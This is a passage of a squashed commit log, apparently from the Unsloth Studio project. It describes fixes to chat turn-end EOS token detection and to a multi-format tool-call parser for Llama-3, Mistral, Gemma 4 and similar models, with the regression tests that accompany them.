<|im_end|>, <|eot_id|>, <end_of_turn>, ...). Verified on the real weights: the
single-eos control loops (400 tokens) while the fixed set yields a clean 38-token
tool call and a clean answer from the tool result. No-op when eos is already the
turn-ender (the id just dedups).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: repair chat generation_config.eos_token_id at load time
Qwen3.5 / Qwen3.6 small chat checkpoints declare the chat turn-end as
tokenizer.eos_token (<|im_end|>) but ship config.eos_token_id = <|endoftext|>
and no generation_config.json (upstream shipped generation_config only on the
large chat models). So every .generate() path that reads generation_config -- the
vision path and tool loops, not just generate_stream -- never stops at the turn
boundary and loops.
At load time, when the tokenizer's own eos is a chat turn-end marker but
generation_config.eos_token_id omits it, add it. This fixes the config once for
all generation paths and complements the generate_stream turn-end stop. No-op for
base models (eos is a plain document terminator) and already-correct configs.
Verified on unsloth/Qwen3.5-0.8B: 248044 -> [248044, 248046].
* Studio: derive chat turn-end eos from the template, resolve once at load
Address PR review of the turn-end stop handling:
- Do not call tokenizer.get_vocab() per generation request (serializes the whole
100k+ vocab). Resolve the turn-end tokens once at load and cache them on
model_info; generate_stream reads the cache.
- Derive turn-end markers from the chat_template the model actually uses, not raw
vocab membership, so a base/coder model that merely carries ChatML control
tokens in a shared vocab is not stopped early, and a loader that synced
tokenizer.eos to the document terminator is still covered.
- Skip harmony/gpt-oss templates: <|end|> there is an intra-message channel
delimiter, not the turn end (dropped <|return|> from the marker list too).
- Move the logic to a dependency-light module (core.inference.chat_eos) so the
unit test does not import the full unsloth/torch inference stack.
Verified on unsloth/Qwen3.5-0.8B (gen_config 248044 -> [248044, 248046], clean
38-token tool call with generation_config-only stopping), Phi-3.5 (adds <|end|>),
Llama-3 / Qwen3 (unchanged), and a harmony template (left untouched).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: refresh turn-end eos after the mapper installs its template
For a MODEL_TO_TEMPLATE_MAPPER model whose own tokenizer ships no
chat_template, the effective template is applied at generate time via
get_chat_template, but the turn-end eos ids were resolved once at load when
the template was still empty, so only the document eos was cached. Qwen2.5 /
Yi base checkpoints (eos <|endoftext|>, ChatML turns end with <|im_end|>)
then run past the assistant boundary in generate_stream and loop.
Re-resolve the turn-end eos from the now-templated tokenizer and refresh the
cached ids right after applying the mapper template, so generate_stream stops
at the ChatML turn end. Add a regression test.
* Studio: union turn-end eos refresh into load-time cache instead of overwriting
get_chat_template can return a different tokenizer whose vocab was remapped
(Gemma folds <end_of_turn> onto the eos id), while generate_stream re-reads the
original model_info tokenizer. Overwriting the cache with the refreshed set
dropped a valid load-time id (e.g. <end_of_turn>=107) and let generation run
past the real turn marker. Union the refresh into the existing cache so it can
only add ids, never drop a valid one. Add a regression test covering the
destructive-swap case the prior test missed.
* Studio: resolve refreshed turn-end ids on the generation tokenizer, add Gemma-4 marker
Two residual gaps in the turn-end eos refresh:
- For map_eos_token=True mapped templates (e.g. chatml on a Yi-6B base), get_chat_template
returns a tokenizer whose vocab folds the turn-end token onto the document eos id, while
generate_stream re-reads the original tokenizer. The refresh resolved ids on the returned
tokenizer, so it stored the doc eos and missed the real turn-end id, and generation ran
past the boundary. Read the turn-end marker strings from the mapped template but resolve
their ids on the original generation tokenizer (new resolve_chat_turn_end_eos_ids_using).
- Add Gemma-4's <turn|> turn terminator to the marker allowlist; those templates keep a
document eos so resolve otherwise missed the real turn marker.
Add regression tests for both.
* Fix turn-end detection for Starling, multi-variant and vision templates; keep tests collectable
The turn-end marker set missed OpenChat/Starling's barred <|end_of_turn|>
(distinct from Gemma's unbarred form), so Starling generations ran past
the assistant boundary. A dict/list chat_template (Hermes-3 style
default+tool_use variants) hit an early non-string return and skipped
detection; flatten and scan every variant. Vision models carry the
chat_template on the ProcessorMixin, not the unwrapped inner tokenizer,
so read markers from the template-carrying container while resolving ids
on the generation tokenizer.
The refresh test constructs the real backend, so it is guarded with a
module-level skip when unsloth/unsloth_zoo is absent (the lightweight
pytest matrix), and core.inference package init is made lazy so the
dependency-light chat_eos tests collect without the heavy stack.
* Studio: tighten chat turn-end eos comments
* Studio: condense chat turn-end eos comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* studio: tool calling for Llama-3, Mistral, Gemma 4 on safetensors + MLX (#5615)
Adds tool calling for Llama-3, Mistral (pre-v11 + v11+ + [ARGS]), and Gemma 4 to the safetensors / transformers and MLX backends. Parser patched against llama.cpp / vLLM / SGLang per-family parsers and normalises to OpenAI shape. 96 targeted unit tests + cross-OS staging CI (ubuntu / macos-14 / windows) green on the multi-format probe.
* studio: tool-call healing parity between safetensors / MLX and GGUF
After the multi-format parser landed in #5615, the safetensors / MLX
agentic loop and the GGUF loop still differed on healing behaviour.
This commit closes the gaps in both directions so the two backends
react the same way to identical model output.
Changes:
1. core/inference/llama_cpp.py -- the GGUF BUFFERING state machine
now wakes on every emission marker the shared parser knows. Was
("<tool_call>", "<function="); is now the five-tuple imported
from core.inference.tool_call_parser (Qwen / Qwen3.5 / Llama-3
<|python_tag|> / Mistral [TOOL_CALLS] / Gemma 4 <|tool_call>).
Stream cleanup is delegated to the same shared strip_tool_markup
so leaked markup from any family is removed from assistant
content.
2. core/inference/llama_cpp.py -- per-tool canonical heal key. When
a tool arguments field is a bare string and JSON parsing fails,
the GGUF path now heals to {"code": raw_args} for python,
{"command": raw_args} for terminal, and {"query": raw_args} for
everything else. Was hard-coded to {"query": raw_args}, which
silently routed every python / terminal emission through
web_search. Mirrors safetensors_agentic._CANONICAL_HEAL_ARG.
3. core/inference/safetensors_agentic.py -- re-prompt on plan-
without-action. When the model emits a short forward-looking
intent ("I'll search for that", "Let me check", "First, I
will...") and no tool call, the loop nudges the model to act
instead of silently returning a plan-only answer. Up to
_MAX_REPROMPTS=3 (matches GGUF). The intent regex, character
cap, and instruction text are byte-identical to the GGUF path.
The buffer-end fall-through is unified so a buffered intent
emission that never exits the BUFFERING state still triggers
the re-prompt.
4. core/inference/safetensors_agentic.py -- extra iteration slots
for re-prompts. The loop now budgets max_tool_iterations +
_MAX_REPROMPTS + 1 total iterations and tracks the tool-call
count separately, so a stalling model can be nudged 3x without
eating the caller's tool-call budget. Mirrors the _extra slot
reservation in the GGUF path.
Tests (14 new safetensors-side units; 5 GGUF parity pins):
TestLoopRePrompt -- intent-trigger, plain-answer,
no-tools, cap-at-three, budget
preserved, buffer-end intent.
TestLoopCanonicalHealKey -- python / terminal / unknown.
TestGGUFSafetensorsHealingParity -- shared markers used, shared
strip used, canonical heal keys
identical, intent regex matches
same phrases, _MAX_REPROMPTS
equal on both backends.
All 110 targeted tests pass locally; the broader tool / inference /
model-config / sandbox / anthropic / mlx suites stay green.
Why this matters
Without this parity, Llama-3.2 / Mistral / Gemma 4 emissions on Mac
(MLX) and Linux-safetensors stop the agentic loop as soon as the
model says "Let me...", because the GGUF re-prompt logic never
existed on these backends. The two-marker GGUF BUFFERING tuple also
let non-Qwen tool emissions stream out as plain prose when
llama-server's structured channel did not pick them up. Both paths
now drain the same way, heal the same way, and re-prompt the same
way -- so a tool call that works on GGUF works identically on
safetensors / MLX.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: fix tool-call parser bugs from gemini review on #5620
Three high-priority gemini findings on the tool-call parsing additions:
1. unicode_escape on UTF-8 bytes corrupts non-ASCII literals
(e.g. ✨ becomes â\x9c¨). Replace with json.loads on a quoted
string -- preserves emoji / CJK / RTL while still handling
\n \t \uXXXX escapes.
2. Llama-3 sentinel stripping is order-dependent. A leading
`<|eot_id|><|begin_of_text|>` left `<|begin_of_text|>` behind
because the loop had already passed that sentinel. Loop until
no sentinel matches at the start.
3. Mistral v11+ `[TOOL_CALLS] name { json }` regex uses non-greedy
`\{.*?\}` which truncates at the first `}` of a nested JSON
argument, leaking the tail (e.g. `}}`) into user-visible
streamed text. Same problem for the v0.3 array pattern with
nested brackets. Strip those with balanced brace/bracket
scanning via a new `_strip_mistral_closed_calls` helper called
from `strip_tool_markup`.
Also fix the inference routes' parallel `_TOOL_XML_RE`:
- Same nested-JSON truncation in the Mistral patterns; route the
strip through the parser's balanced-scan helper via a thin
`_strip_tool_xml` wrapper that all existing callers now use.
- Llama-3 `<|python_tag|>[^\n<]*` stopped at any `<`, leaking the
tail of any tool call whose argument contained a literal `<`
(queries, code snippets). Relax to `[^\n]*` which keeps the
strip confined to the actual end-of-line.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio/routes: make python_tag strip multi-line aware
Earlier revisions of _TOOL_XML_RE in studio.backend.routes.inference
oscillated between two bug shapes:
5615 r"<\|python_tag\|>[^\n<]*" -- stopped at any literal "<"
so code='if x < 10: pass'
leaked '< 10: pass)' to the
user.
5620.1 r"<\|python_tag\|>[^\n]*" -- single-line only; the second
line of
python.call(code="a\nb")
leaked.
The full parser (_parse_llama3_python_tag) already handles both via
balanced-brace scanning, so the parsing path was fine; the LEAK was
in the streaming strip path that runs on every cumulative emission
while content is still arriving.
Switch to r"<\|python_tag\|>(?:[^<]|<(?!\|))*" so the strip consumes:
* any character that is not a "<" (newlines, JSON, code, ...),
* a "<" only when it is NOT followed by "|" (i.e. NOT a Llama-3
sentinel start like <|eot_id|>, <|eom_id|>, <|begin_of_text|>).
This means:
* code='if x < 10' stays inside the strip (5615 fix preserved),
* multi-line code stays inside the strip (5620 round 2),
* the strip terminates at the next Llama-3 sentinel so trailing
assistant content survives.
Tests: TestRoutesPythonTagStrip (8 cases)
pytest test_safetensors_tool_loop.py test_safetensors_capability_advertise.py
-> 118 passed in 1.81s (was 110).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: tighten verbose comments in tool-call parser sections
Comments were narrating what the code already says. Cut historical
"earlier revisions used X, then Y" narratives down to one-line WHY
notes where the footgun still matters (canonical heal-key parity,
balanced-brace vs non-greedy regex, ``(?:[^<]|<(?!\|))*`` over
``[^\n<]*``/``[^\n]*``). Drop section-header banners.
No behaviour change. Re-ran:
pytest studio/backend/tests/test_safetensors_tool_loop.py \
studio/backend/tests/test_safetensors_capability_advertise.py -q
-> 118 passed.
Regression replay (parser + _coerce_arguments on the 5 #5615 inputs)
-> 21/21.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: parser robustness fixes for PR #5620
Three surgical extensions to the multi-format tool-call parser, each
covering a real fine-tune / template emission shape that the current
parser silently drops. No path narrows; all changes widen what is
accepted.
1. `_parse_tool_call_json` now accepts both `arguments` and
`parameters` keys. A Hermes / Qwen `<tool_call>{json}</tool_call>`
wrapper around a Llama-3.2 fine-tune that emits the `parameters`
key was extracting the tool name and silently discarding the
args, producing a working-shaped call with an empty payload. The
bare-JSON and python_tag paths already accepted both keys; this
path now matches them.
2. `_TC_FUNC_START_RE`, `_TC_PARAM_START_RE`, and `_TC_PARAM_CLOSE_RE`
now also match the attribute form
`<function name="..."><param name="...">v</param></function>` used
by MiniCPM-5 and MiniMax-M2. Names land in either capture group,
and `</param>` is accepted as a short close.
3. `_parse_llama3_bare_json` sentinel-strip now consumes the role
label inserted between `<|start_header_id|>` and
`<|end_header_id|>` by Meta's official Llama-3.x chat template.
Without this, every assistant turn re-fed through the template
prefix `<|start_header_id|>assistant<|end_header_id|>\n\n{json}`
parsed to zero calls, so any history-with-tool-call round-trip
in production silently dropped.
Tests in `studio/backend/tests/test_safetensors_tool_loop.py`:
* `TestParserRobustness::test_tool_call_json_accepts_parameters_key`
* `TestParserRobustness::test_function_xml_attribute_form`
* `TestParserRobustness::test_function_xml_attribute_form_multi_param`
* `TestParserRobustness::test_function_xml_legacy_equals_form_still_works`
(regression guard for the existing `<function=name>` syntax)
* `TestParserRobustness::test_llama3_chat_template_round_trip`
* `TestParserRobustness::test_llama3_round_trip_all_roles`
* `TestParserRobustness::test_llama3_round_trip_with_eot_prefix`
`pytest studio/backend/tests/test_safetensors_tool_loop.py
studio/backend/tests/test_safetensors_capability_advertise.py -q`
goes from 118 to 125 passed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: terminate function-XML body at </function>, not just </tool_call>
`_parse_function_xml` was looking for `</tool_call>` (the Hermes
wrapper) as the body terminator. When a model emits a standalone
`<function=NAME><parameter=K>v</parameter></function>` followed by
explanatory prose (which models routinely do), no `</tool_call>` is
present, so the body extended to end-of-string and the trailing
prose leaked into the LAST parameter value.
Pre-existing on main (the legacy `<function=NAME>` form had this
bug too). Same affects PR #5620's new attribute-form
`<function name="NAME"><param name="K">v</param></function>`
emission used by MiniCPM-5 / MiniMax-M2.
Fix: `_TC_END_TAG_RE` now matches either `</tool_call>` OR
`</function>`. The existing `_TC_FUNC_CLOSE_RE` / `_TC_PARAM_CLOSE_RE`
strips are unchanged. Multi-call inputs still bound each function
at the next `<function=` start, so no over-eager consumption.
New tests:
* `test_function_xml_followed_by_prose` (legacy form + prose)
* `test_function_attribute_xml_followed_by_prose` (attribute form + prose)
Existing `test_code_with_embedded_xml` still passes (a parameter
value containing literal `<a></a>` is preserved because the
embedded close tag is `</a>`, not `</function>`).
`pytest studio/backend/tests/test_safetensors_tool_loop.py
studio/backend/tests/test_safetensors_capability_advertise.py -q`
goes from 125 to 127 passed.
* Studio: tighten Llama-3.2 bare-JSON guard
A fuzz pass on PR #5811 turned up that ``_parse_llama3_bare_json``
accepted ``parameters`` as a string, contradicting the docstring's
"parameters or arguments is a dict" guard. Prose JSON like
``{"name":"foo","parameters":"a sentence"}`` would wrongly fire the
parser, which the agentic loop would then heal into a real
``foo(query="a sentence")`` call.
Same code lives on this branch, so the same fix applies here.
Tightened guard:
- ``parameters`` must be a dict (Llama-3 spec).
- ``arguments`` may be a dict, or a JSON-encoded string that
decodes to a dict (OpenAI shape, e.g.
``"arguments":"{\"q\":\"x\"}"``). Plain non-JSON strings or
JSON-strings of lists / scalars / null no longer pass.
Mirrors the fix landed in PR #5811 commit 615b8608. Adds the same
4 regression tests under TestParserMultiFormat.
Existing test suite stays green: 127 -> 131 passing.
* studio: fix safetensors tool-call parser gaps vs llama.cpp (Mistral CALL_ID / THINK, attribute-form signal)
Three GGUF-parity fixes to the safetensors tool-call parser, each matching
llama.cpp's reference behaviour:
- Mistral Small 3.2 emits [TOOL_CALLS]name[CALL_ID]<id>[ARGS]{json}. The
parser stopped after the name on seeing [CALL_ID] (neither [ARGS] nor {),
dropping the call. Skip an optional [CALL_ID]<id> segment in both the
parse and strip paths. llama.cpp parses this (test-chat.cpp:4785).
- Magistral wraps reasoning in [THINK]...[/THINK]. A [TOOL_CALLS] inside the
reasoning was parsed as a real call, producing a phantom call. Strip a
leading [THINK] block before scanning so only the post-reasoning call
counts (test-chat.cpp:2285); a literal [THINK] inside a later argument is
left intact.
- The standalone MiniCPM-5 / MiniMax-M2 <function name="..."> attribute form
parsed correctly but was absent from TOOL_XML_SIGNALS and the markup strip
patterns, so the streaming safety-net parse was gated off (dropping the
call) and markup leaked into displayed text. Add the signal and broaden
the strip regexes.
Adds regression tests for all three.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: fire safetensors tool calls for the bare-JSON (Llama-3.2) form
The agentic loop's streaming safety-net parse was gated on
has_tool_signal(), which is False for the Llama-3.1 / 3.2 bare-JSON tool
form {"name":..,"parameters":..} (no XML marker). Real tool calls were
therefore dropped: the loop logged "model planned without calling tools",
re-prompted three times, then gave up with zero tool calls, while GGUF's
llama-server parses the same emission natively.
Run parse_tool_calls_from_text() unconditionally in the safety net. The
parser is strict (only fires on a valid tool-call shape) so plain answers
are unaffected. Reproduced on a real unsloth/Llama-3.1-8B-Instruct run:
the model emits {"name":"web_search","parameters":{...}} which now
executes the tool instead of being re-prompted into a no-op.
Adds a loop regression test for the bare-JSON form.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: complete strict-mode contract and fix parser import paths
Address review findings on the multi-format tool-call parser:
- Honor allow_incomplete=False in the remaining sub-parsers. The Llama-3
<|python_tag|>NAME.call(...) parser, the pre-v11 Mistral [TOOL_CALLS] array
parser, and the Gemma 4 <|tool_call> parser ignored strict mode, so a
truncated call (missing closing paren, ], or <tool_call|>) was still healed
and executed with Auto-Heal disabled. Thread strictness through and reject
the unclosed forms, matching the JSON and function-XML paths.
- Drop the duplicate tool_call_parser import block in llama_cpp.py and the
redundant un-aliased TOOL_XML_SIGNALS; only the _SHARED_TOOL_XML_SIGNALS
alias is used as a value.
- Import _strip_mistral_closed_calls from core.inference.tool_call_parser in
routes/inference.py instead of studio.backend.core... The self-contained
run.py launch mode only puts studio/backend on sys.path, so the absolute
package path raised ModuleNotFoundError on the server-tool strip path.
Add strict-mode regression tests for the truncated Llama-3 dot-call and the
unclosed Mistral array.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: preserve XML param indentation and alias Mistral array parameters
Two parser-correctness fixes found by auditing against the model chat templates
and the SGLang / vLLM reference parsers:
- Qwen3.5 XML parameter values lost their leading indentation. The chat template
emits <parameter=k>\nVALUE\n</parameter>, but the parameter-start regex ate the
wrapping newline AND the value's first-line indentation with a trailing \s*,
then str.strip() removed the rest. Narrow the trailing class to horizontal
whitespace only and trim exactly one wrapping newline (via _trim_param_value),
preserving indentation in code/diff arguments. Matches SGLang's qwen3_coder
detector. Applies to both _parse_function_xml (tool_call_parser.py) and the XML
path in tool_healing.py.
- Mistral pre-v11 array objects keyed on parameters dropped their payload.
_consume_mistral_call read only the arguments key; alias parameters the same way
the JSON/XML paths and SGLang's base detector do.
Add regression tests for preserved multi-line indentation and the array
parameters alias.
* Studio: tighten tool-call parser comments
Make the comments in the multi-format tool-call parser and its callers succinct:
compress verbose docstrings/blocks to one or two lines, drop ones that restate the
code, and trim the tiny balanced-scanner helpers. Correctness rationale and
upstream provenance (SGLang/llama.cpp parity, the strict-mode / Auto-Heal
contract, whitespace-preservation, and the Unicode / full-width-pipe notes) are
kept in compact form.
Comment-only: no code or behavior change (verified with comment_tools.py check
--strip-docstrings; parser suite green).
* Studio: make Llama-3 .call and Mistral-array healing parsing linear
Two more O(n^2) ReDoS paths in the multi-format parser, both reachable from
the agentic loop on a long truncated body with no length cap:
- _LLAMA3_KV_RE.finditer over a .call(...) body retried at every offset of a
long word run / unterminated quote (40K -> 14s). Replace with a hand-scan
that reuses the same key/number/literal sub-regexes via anchored match and
walks the string body by hand, so an unterminated quote is O(n). Verified
byte-identical to the old regex over 200K fuzzed inputs.
- _parse_mistral_array healing ran _balanced_brace_end from every { in the
body (20K -> 17s). Walk top-level objects, advancing past each balanced
{...}; this also drops the phantom call the old scan emitted from a nested
argument object.
Add adversarial-length linearity regressions plus positive .call kwargs and
unclosed-array recovery coverage.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: honor strict mode in safety-net, keep empty Gemma args, strip attribute-form function XML
- safetensors safety-net parser now forwards allow_incomplete=auto_heal_tool_calls,
matching the draining path, so a late incomplete tool call is not healed and
executed when Auto-Heal is off.
- Gemma empty bare value ({k:}) now serialises as "" instead of invalid {"k":},
which previously dropped the whole call.
- Route _TOOL_XML_RE also strips the <function name="..."> attribute form
(MiniCPM-5 / MiniMax-M2) so it no longer leaks to the UI.
* Studio: fix attribute-form function-XML literal close tag and zero-arg strict call
Addresses Codex review of the <function name="..."> attribute form in
_parse_function_xml (MiniCPM-5 / MiniMax-M2):
- End the call body at the LAST </function> / </tool_call> within the call's
window, so a literal close tag inside a code/search argument (e.g.
print("</function>")) is preserved instead of truncating the call.
- Accept a closed call with no parameters as a valid zero-argument call in strict
mode (the function close is already required), instead of rejecting it as a
truncated call.
- Tests for both, mirroring the legacy <function=...> coverage.
* Studio: fix tool-call parser/loop review findings on the multi-format path
Address the live code-review findings on the safetensors/MLX + GGUF tool path:
- routes: include the attribute form <function name="..."> in the safetensors
capability whitelist so MiniCPM-5 / MiniMax-M2 templates keep the tool pill
(parser already handles the form; the post-filter wrongly suppressed it).
- safetensors loop: build the plan-without-action re-prompt from the active
tools instead of a hardcoded web_search/python string, and gate it on
auto_heal_tool_calls, matching the GGUF loop.
- safetensors loop: hold a leading bare-JSON object ({"name":..,"parameters":..})
during BUFFERING until it closes, then drain it as a tool call instead of
streaming the raw JSON to clients. The DRAINING/STREAMING resolvers still
recover a plain JSON answer, so this can never drop content.
- parser: anchor the Llama-3 <|python_tag|>NAME.call(...) scan to the tag and
chain ; -separated calls, so all semicolon-separated built-ins parse and a
literal <|python_tag|>x.call(...) inside a JSON string argument no longer
fires the wrong tool.
- parser: consume the optional trailing </s> after a named Mistral
[TOOL_CALLS]name{json} call, mirroring the array shape.
- GGUF streaming strip: use the shared parser patterns (which know
[TOOL_CALLS] and <|python_tag|>) so a textual tool call entering DRAINING is
stripped instead of leaking the marker to streaming clients.
- routes: hoist the _strip_mistral_closed_calls import to module level.
Adds regression tests covering each fix; existing parser suite stays green.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden multi-format tool-call detection from review findings
Apply five targeted fixes from the review pass over the multi-format tool
path:
- routes: route display strip delegates to _strip_tool_xml so Mistral
[TOOL_CALLS] blocks with nested JSON are removed from streamed display
text, not just the XML forms.
- tool_call_parser: skip function/parameter starts that fall inside an
already-open parameter block (_inside_open_parameter) so nested example
payloads are not mis-parsed as new calls; extract
strip_llama3_leading_sentinels so the bare-JSON guard is shared.
- safetensors_agentic: probe bare JSON through strip_llama3_leading_sentinels
before the balanced-brace check so a leaked header sentinel does not defeat
the guard.
- tool_healing: allow dotted tool names in the Gemma wrapped start pattern.
- llama_cpp (GGUF): buffer wrapper-less Llama-3.2 {"name":..} calls that carry
no XML signal, drain a complete object silently and hold an incomplete one,
and run the end-of-stream safety net unconditionally so markerless calls are
detected and never leak the raw JSON (including truncated fragments).
Adds regression tests for the GGUF bare-JSON streaming path and the Mistral
display strip.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: stop bare-JSON tool calls leaking at EOF, oversized, and into history
The second review pass flagged that the Llama-3.2 bare-JSON tool-call handling
still leaked raw JSON in several spots; ``strip_tool_markup`` only knows
XML/bracket markup, so the bare-JSON form survived it. Fix them symmetrically
across the safetensors and GGUF loops:
- Safetensors stream-end resolver now routes a held bare-JSON fragment to
DRAINING (mirroring GGUF) so a truncated ``{"name":..`` cut off by the end of
the stream is dropped instead of flushed as assistant content. The 7/10
reviewer finding.
- Both loops now drain (suppress) an oversized still-open bare-JSON call once it
passes ``_MAX_BARE_JSON_BUFFER`` instead of streaming the raw prefix, gated on
a ``"name"`` key so a giant plain JSON answer still streams; a complete
oversized call still executes via the safety net.
- Add a shared ``strip_leading_bare_json_call`` helper and apply it to the
content kept for the assistant turn in both loops, so an executed bare-JSON
call is not replayed as visible text or fed back as next-turn history.
Plain JSON answers without a ``"name"`` key are untouched throughout. Adds
regression tests for the EOF, oversized, and next-turn cases on both backends
plus unit tests for the helper.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: bound the Llama-3 python_tag strip on real control sentinels
The route display strip's <|python_tag|> arm ran to the next <| of any kind.
A tool-call argument carrying a literal <|...|> token (for example <|cite|>
inside a string value) truncated the strip early and leaked the call tail into
the visible response. Narrow the stop condition to the genuine Llama control
sentinels (eot_id, eom_id, python_tag, start/end_header_id, begin_of_text,
finetune_right_pad_id) so embedded markup and JSON are consumed while real
header/turn boundaries still bound the strip.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: gate markerless bare JSON on enabled tools and close parser/strip asymmetries
The Llama-3.2 custom_tools bare-JSON form has no marker, so any JSON object with a
name key was read as a tool call. An ordinary JSON answer like
{"name":"Alice","parameters":{"age":30}} was misclassified as a call to a
disabled tool and dropped from the visible response. Gate the markerless form on
the enabled tool names (threaded through parse_tool_calls_from_text and
strip_leading_bare_json_call, supplied by both streaming loops): an object whose
name is not an enabled tool is ordinary content. The marker-based forms keep
their name-agnostic behaviour (an explicit signal is a real call attempt), and
unrestricted mode stays ungated.
Also fix two parser/strip asymmetries the parser already tolerated:
- A literal </function> inside a parameter value (print("</function>")) truncated
both the core and route strips at the first close, leaking the tail. Extend the
strip to the call's real close (last </function> before the next opener),
mirroring the parser, without merging separate calls.
- The single-object Mistral [TOOL_CALLS]{...} shape parsed but _strip_mistral_closed_calls
left it, leaking the raw object into display. Strip the balanced object while
keeping trailing prose, matching the array and name shapes.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio tools: gate GGUF bare-JSON suppression on enabled tools and fix python-tag exponent parsing
Pass-4 review follow-ups on the GGUF tool loop and Llama-3 parser:
- The GGUF bare-JSON suppression sites still keyed off a raw "name" substring,
so an ordinary JSON answer whose name is not an enabled tool was dropped when
it was truncated, oversized, or reached the no-tool DRAINING fallback (the
parser, helper, and safetensors paths were already gated). All three sites now
use the shared enabled-name gate, and a held bare-JSON buffer that turns out not
to be an enabled call is shown as the answer instead of dropped at stream end.
- The Llama-3 python-tag numeric kwarg regex matched only the mantissa, so
scientific notation was truncated to its leading digits (1e-3 parsed as 1) and a
tool executed with the wrong value. The regex now accepts exponent and decimal
forms, and the int/float classification keys off the exponent too.
Adds regression tests for the truncated / oversized disabled-name JSON cases (and
a counterpart that a truncated enabled call still does not leak) plus the
scientific-notation kwargs.
* Studio tools: gate safetensors bare-JSON drain, fix nested-name gate and function-XML strip
Pass-4 review follow-ups on the shared parser / safetensors loop:
- The safetensors oversized and end-of-stream bare-JSON drain branches keyed off
a raw "name" substring, so a large or truncated ordinary JSON answer whose name
is not an enabled tool was drained instead of streamed. Both now use the shared
enabled-tool-name gate, matching the GGUF path.
- strip_leading_bare_json_call matched the first "name" anywhere, so a plain JSON
answer with a nested name equal to an enabled tool ({"result":{"name":"web_search"}})
was wrongly suppressed. It now extracts the TOP-LEVEL name only, walking past
nested objects/arrays and keeping the text when a top-level value is truncated.
- The function-XML display strip used a regex negative-lookahead that stopped at a
literal <function=...> opener inside a parameter value and then dropped the rest
of the answer to EOF. A scan-based strip mirrors the parser (ignores openers
inside an open <parameter> via _inside_open_parameter) and closes each call at its
real </function>, so trailing assistant text after such a call survives.
Adds regression tests for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tool parsing: 3.9 import safety, disabled-Auto-Heal contract, capability gate
Round-2 review follow-ups on the multi-format tool-call parser:
- tool_call_parser: add `from __future__ import annotations`. The module
is dependency-light by design (external llama-server wrappers import it
standalone) and the package targets python >=3.9, where its PEP 604
`int | None` return annotations would raise TypeError on import.
- safetensors + GGUF drain fallback: gate the leading bare-JSON strip on
auto_heal_tool_calls. With Auto-Heal off, a truncated enabled-name
fragment that did not parse now stays visible, matching the XML strip
in the same branch and the disabled-Auto-Heal contract. With Auto-Heal
on it is still suppressed.
- safetensors capability gate: match the bare-JSON `{"name":` template
marker with a whitespace/escape-tolerant regex so a pretty-printed
`{ "name" :` or JSON-escaped `{\"name\":` template is not mis-classified
as tool-less. The parser already accepts that whitespace via
raw_decode, so the gate must too.
Regression tests added for each case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tool parsing: symmetric "function" bare-JSON alias and route strip parity
Round-3 review follow-ups, all parser/strip symmetry fixes.
- Bare-JSON "function" alias: the markerless parser accepts a call name via
obj.get("name") or obj.get("function"), but the strip/gates only knew "name",
so a {"function":<enabled tool>} call executed while its raw JSON leaked. Teach
_top_level_bare_json_name the alias (with "name" precedence and the same nested
and truncated-name guards), and widen the guards in strip_leading_bare_json_call,
the safetensors and GGUF _looks_like_enabled_bare_json gates, and the route
capability marker regex.
- Route display/history cleanup: strip a tail-only </param> alias close (the
parser accepts <param name="...">...</param>), and run the parser's guarded
function-XML scan (_inside_open_parameter) before _TOOL_XML_RE so a literal
nested <function=...></function> inside an argument value does not truncate the
strip and leak the tail.
Regression tests added for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio tools: honor tool budget in GGUF loop and guard function-XML streaming strip
Round 4 review fixes. Both are asymmetric-fix bugs where the final/steady path got a
guard the analogous streaming/loop path did not.
- GGUF tool-call budget: the safetensors loop counts real tool-call turns against
max_tool_iterations (re-prompt stalls excepted), but the GGUF loop only bounded the
turn count by the enlarged range (max_tool_iterations + _MAX_REPROMPTS). Since this
PR raised _MAX_REPROMPTS from 1 to 3, a model that keeps making valid tool calls
could run up to three extra tool rounds (with max_tool_iterations=1, four rounds
instead of one). Add a _tool_iters_done counter that increments only when a tool
actually executed in the turn, and stop once the caller's budget is spent so the
post-loop final-answer nudge fires. A duplicate/disabled no-op turn is a correction
turn (like a plan-without-action re-prompt) and does not consume budget, preserving
the existing "already completed" re-prompt behavior.
- Streaming display strip: the final strip runs the guarded _strip_function_xml_calls
scanner (a literal <function=...> inside a parameter value is data, not a nested
call), but the GGUF and safetensors streaming strips still used only the open-ended
regex arms. When a tool-call argument contained literal function markup, the regex
tail ate everything to end-of-text and dropped the real trailing prose after the
call's true </function>. Run the guarded scanner (and the balanced Mistral strip)
before the regex arms in both streaming paths so streaming and final display agree.
Adds regression tests: GGUF valid tool calls respect max_tool_iterations, and the
streaming strip keeps trailing prose after a function-XML call with a literal marker.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
